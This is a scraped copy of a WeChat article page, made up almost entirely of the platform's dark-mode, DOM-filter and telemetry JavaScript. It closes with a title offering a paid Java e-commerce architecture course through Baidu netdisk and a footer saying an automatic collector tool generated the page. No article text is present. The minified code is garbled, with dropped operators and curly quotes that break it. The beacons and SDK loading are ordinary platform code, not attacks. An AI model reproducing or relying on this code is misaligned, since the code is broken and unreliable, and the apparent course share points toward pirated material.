0!==arguments[1]?arguments[1]:{type:”dom”};if(t.force&&(he.isFinish=!1),!he.isFinish)try{de.isDarkmode=g.mode?”dark”===g.mode:e.matches,”dom”===t.type?(de.isDarkmode&&”function”==typeof g.begin&&g.begin(fe.hasDelay()),Array.prototype.forEach.call(fe.get(),(function(e){if(de.isDarkmode&&e.className&&”string”==typeof e.className&&(e.className=e.className.replace(ge,””)),de.isDarkmode||se.length)if(g.needJudgeFirstPage){var t=e.getBoundingClientRect(),r=t.top,n=t.bottom;r<=0&&n0&&r0&&n0&&void 0!==arguments[0]?arguments[0]:{};if(!g.hasInit){g.hasInit=!0;var t=g.whitelist.tagName;e.whitelist&&e.whitelist.tagName instanceof Array&&e.whitelist.tagName.forEach((function(e){e=e.toUpperCase(),-1===t.indexOf(e)&&t.push(e)})),[“dark”,”light”].indexOf(e.mode)>-1&&(g.set(“string”,e,”mode”),document.getElementsByTagName(“html”)[0].classList.add(a)),g.set(“function”,e,”begin”),g.set(“function”,e,”showFirstPage”),g.set(“function”,e,”error”),g.set(“boolean”,e,”needJudgeFirstPage”),g.set(“boolean”,e,”delayBgJudge”),g.set(“dom”,e,”container”),g.set(“string”,e,”cssSelectorsPrefix”),g.set(“string”,e,”defaultLightTextColor”),g.set(“string”,e,”defaultLightBgColor”),g.set(“string”,e,”defaultDarkTextColor”),g.set(“string”,e,”defaultDarkBgColor”),!g.mode&&null===be&&window.matchMedia&&(be=window.matchMedia(n)).addListener(pe)}}function ve(e){fe.set(e),null!==g.container&&(ce.update(e),ue.update(e)),pe(be,{force:!0,type:”bg”})}function ke(e){e.forEach((function(e){return se.extend(e)}))}}])}));!function(){“use strict”;function t(t,e){if(!(t instanceof e))throw new TypeError(“Cannot call a class as a function”)}function e(t,e){for(var n=0;n”10″)&&”click”!==t.getAttribute(“begin”)&&”click”!==t.getAttribute(“end”)&&(t.setAttribute(“repeatCount”,”undefined”),t.setAttribute(“attributeName”,”undefined”),(new Image).src=”https://mp.weixin.qq.com/mp/jsmonitor?idkey=306525_1_1″)}try{var r=t.parentNode.id;if((“js_content”===r||”js_secopen_content”===r)&&”p”===t.tagName.toLowerCase()){var u=t.childNodes;””===t.textContent&&(a(u,”br”)||1===u.length&&a(u[0].childNodes,”br”))&&(t.previousElementSibling.style.marginBottom=”0em”,t.style.marginBottom=”0em”)}}catch(t){if(“undefined”!=typeof WX_BJ_REPORT&&WX_BJ_REPORT.BadJs){var f=JSON.stringify(c);WX_BJ_REPORT.BadJs.report(“domFilter”,f,{mid:”mmbizwap:domMonitor”,view:”wap_appmsg”})}}}}}])&&e(f.prototype,s),p&&e(f,p),Object.defineProperty(f,”prototype”,{writable:!1}),y}(r)}};window.__second_open__||(window.DomFilter=c())}();

      (function () {
      if (!window.__second_open__ && window.Darkmode) { // 非秒开,秒开的逻辑写在skeleton.js里
      var cost = 0; // 记录Darkmode首屏渲染耗时
      window.Darkmode.extend([window.DomFilter]); // 插件注册
      window.Darkmode.run(document.querySelectorAll(‘#js_content *’), {
      mode: ”, // ”|’dark’|’light’, 空表示跟随系统
      defaultDarkBgColor: ”,
      error: function () {
      (new Image()).src = ‘https://mp.weixin.qq.com/mp/jsmonitor?idkey=125617_0_1’; // 上报conver出错 H5
      },
      begin: function (isSwitch) {
      (new Image()).src = ‘https://mp.weixin.qq.com/mp/jsmonitor?idkey=125617_2_1’; // 上报Darkmode H5 PV
      isSwitch && ((new Image()).src = ‘https://mp.weixin.qq.com/mp/jsmonitor?idkey=125617_4_1’); // 上报Darkmode H5 PV(仅含从LM切换到DM的情况)

      cost = new Date() * 1; // 记录开始渲染的时间
      },
      showFirstPage: function () {
      cost = new Date() * 1 – cost; // 记录首屏渲染耗时
      var isTop = (document.documentElement.scrollTop || window.pageYOffset || document.body.scrollTop) === 0;
      // 上报Darkmode耗时大盘数据
      if (cost 10 && cost 20 && cost 30 && cost 40 && cost 50 && cost <= 60) {
      (new Image()).src = 'https://mp.weixin.qq.com/mp/jsmonitor?idkey=125617_11_1'; // 上报Darkmode H5 首屏渲染时间在(50ms, 60ms]之间PV
      isTop && ((new Image()).src = 'https://mp.weixin.qq.com/mp/jsmonitor?idkey=125617_18_1'); // 上报Darkmode H5 首屏渲染时间在(50ms, 60ms]之间PV – 无滚动
      } else {
      (new Image()).src = 'https://mp.weixin.qq.com/mp/jsmonitor?idkey=125617_12_1'; // 上报Darkmode H5 首屏渲染时间在60ms以上(不含60ms)PV
      isTop && ((new Image()).src = 'https://mp.weixin.qq.com/mp/jsmonitor?idkey=125617_19_1'); // 上报Darkmode H5 首屏渲染时间在60ms以上(不含60ms)PV – 无滚动
      }
      }
      });
      document.getElementById('js_content').style.visibility = 'visible';
      }
      })();

      (function(_g){
      _g.appmsg_like_type = “2” * 1 ? “2” * 1 : 1;
      // _g.appmsg_like_type = 2;
      _g.clientversion = “”;
      _g.passparam = “”; // 看一看带参数
      if(!_g.msg_link) {
      _g.msg_link = “”;
      }
      _g.appmsg_type = “9”; // 后台图文消息类型
      _g.devicetype = “”; // devicetype
      })(window);
      // 已翻译

      // 企业微信里置灰公众号名称
      (function() {
      var ua = window.navigator.userAgent;
      if (/MicroMessenger\/([\d\.]+)/i.test(ua) && /wxwork/i.test(ua)) {
      var profileName = document.getElementById(‘js_name’);
      var authorName = document.getElementById(‘js_author_name’);
      var accountNames = document.getElementsByClassName(‘account_nickname_inner’);
      if (profileName) {
      profileName.classList.add(‘tips_global_primary’);
      }
      if (authorName) {
      authorName.classList.add(‘tips_global_primary’);
      }
      if (accountNames && accountNames.length) {
      accountNames[0].classList.add(‘tips_global_primary’);
      }
      }
      })();

      // 安卓插入米大师 h5 sdk
      (function() {
      var ua = navigator.userAgent;
      if (ua.indexOf(“MicroMessenger”) != -1 && ua.indexOf(“Android”) != -1){
      var script = document.createElement(‘script’);
      var head = document.getElementsByTagName(‘head’)[0];
      script.type = ‘text/javascript’;
      script.src = “https://midas.gtimg.cn/h5sdk/js/api/h5sdk.js”;
      head.appendChild(script);
      }
      })();

      var real_show_page_time = +new Date();
      if (!!window.addEventListener){
      window.addEventListener(“load”, function(){
      window.onload_endtime = +new Date();
      });
      }

      new Image().src=’https://mp.weixin.qq.com/mp/jsmonitor?idkey=66881_111_1&t=’+Math.random();

      !function(){var e=document,t=e.createElement(“script”);if(!(“noModule”in t)&&”onbeforeload”in t){var n=!1;e.addEventListener(“beforeload”,(function(e){if(e.target===t)n=!0;else if(!e.target.hasAttribute(“nomodule”)||!n)return;e.preventDefault()}),!0),t.type=”module”,t.src=”.”,e.head.appendChild(t),t.remove()}}();

      System.import(document.getElementById(‘vite-legacy-entry’).getAttribute(‘data-src’))

      // WAH.default.init()








      慕课网实战课Java企业级电商项目架构演进之路&nbsp;&nbsp;Tomcat集群与Redis分布式(百度云&nbsp;百度网盘)

      <!–

        –> <!–

      • –>

          <!–

        • –>

        我的留言

          正在加载

          已留言

          确定删除留言吗?

          此文由“快兔兔AI采集器”自动生成,目的为演示采集器效果,若侵权请及时联系删除。

          原文链接:https://mp.weixin.qq.com/s?src=11&timestamp=1650957380&ver=3761&signature=-xKq8bRi7hqXbUf2J*jJeMfxIoCKggtE-H7Mc1eiUedubkLNQZ8MG6ybWeS6L3JHonJSm1ay1fd4EDO4a0QQGvx8PpBMk8MZZK8n*oG6A927uYodWsR4bIdDnrRWqt3P&new=1

          更多内容